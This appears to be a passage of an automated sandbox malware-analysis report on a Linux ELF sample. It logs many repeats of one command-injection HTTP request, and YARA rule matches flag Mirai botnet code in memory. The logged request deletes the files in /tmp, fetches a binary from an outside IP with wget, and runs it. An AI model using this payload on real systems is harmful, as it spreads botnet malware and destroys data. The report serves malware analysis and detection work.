    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive

    System Summary:

    barindex
    Malicious sample detected (through community Yara rule)Show sources
    Source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: Detects Mirai Botnet Malware Author: Florian Roth
    Source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: Detects Mirai Botnet Malware Author: Florian Roth
    Source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: Detects Mirai Botnet Malware Author: Florian Roth
    Source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: Detects Mirai Botnet Malware Author: Florian Roth
    Source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: Detects Mirai Botnet Malware Author: Florian Roth
    Source: LOAD without section mappingsProgram segment: 0x8048000
    Source: 1xtO9V8ku8, type: SAMPLEMatched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth, description = Detects a suspicious ELF binary with UPX compression, reference = Internal Research, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4
    Source: 5228.1.000000005e833d9b.000000008327e148.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
    Source: 5223.1.000000005e833d9b.000000008327e148.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
    Source: 5225.1.000000005e833d9b.000000006a7ff293.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
    Source: 5227.1.000000005e833d9b.000000008327e148.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
    Source: 5226.1.000000005e833d9b.000000006a7ff293.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
    Source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
    Source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
    Source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
    Source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
    Source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
    Source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
    Source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
    Source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 